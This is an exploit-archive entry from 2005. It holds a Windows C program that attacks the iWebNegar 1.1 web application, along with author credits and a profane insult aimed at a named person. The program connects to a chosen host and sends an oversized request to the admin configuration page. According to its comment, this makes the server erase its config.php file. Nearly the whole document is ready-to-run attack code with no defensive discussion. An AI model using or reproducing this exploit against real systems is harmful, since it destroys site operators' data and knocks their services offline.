iWebNegar Configuration Nullification Denial of Service Exploit
2005-01-04 00:00:00/*
iwebnegar 1.1 remote exploit
c0ded by root / c0d3r " kaveh razavi ": [email protected]
bug found by " hossein asgary " in simorgh-ev security team ( u rux hossein )
compile with Ms visual C++ (the php version written by the bug finder but still priv8)
greetz : LorD & NT from IHS , vbehzadan & sIiiS from hyper-security.com ,
Jamie & Ben from exploitdev .
Lamer : [email protected] ( who can fuck him ? )
*/
/* there is a limited buffer in the php code of iwebnegar when u overflow it , it will
go to Die() functions which cause the erase of config.php
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define size 300
int main (int argc, char *argv[]){
char req[] =
"GET /admin/conf_edit.php?";
unsigned int rc,addr,sock ;
struct sockaddr_in tcp;
struct hostent * hp;
WSADATA wsaData;
char buffer[size];
memset(buffer,'A',300);
memcpy(buffer,req,25);
if(argc < 2) {
printf("\nusage : iwebnegar host\n");
printf("example : iwebnegar.exe 127.0.0.1\n");
exit(-1) ;
}
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
printf("WSAStartup failed !\n");
exit(-1);
}
hp = gethostbyname(argv[1]);
if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) ){
printf("Unable to resolve %s\n",argv[1]);
exit(-1);
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock){
printf("socket() error...\n");
exit(-1);
}
if (hp != NULL)
memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
else
tcp.sin_addr.s_addr = addr;
if (hp)
tcp.sin_family = hp->h_addrtype;
else
tcp.sin_family = AF_INET;
tcp.sin_port=htons(80);
printf("\n[+] attacking host %s\n" , argv[1]) ;
printf("[+] Building overflow string\n");
Sleep(1000);
printf("[+] packet size = %d byte\n" , sizeof(buffer));
rc=connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
if(rc==0)
{
Sleep(1000) ;
printf("[+] connected\n") ;
send(sock , buffer , sizeof(buffer) , 0);
printf("[+] see if the config.php erased ! \n\n") ;
}
else {
printf("the 80 port is not open try another webserver port\n");
}
}
//
Fixes
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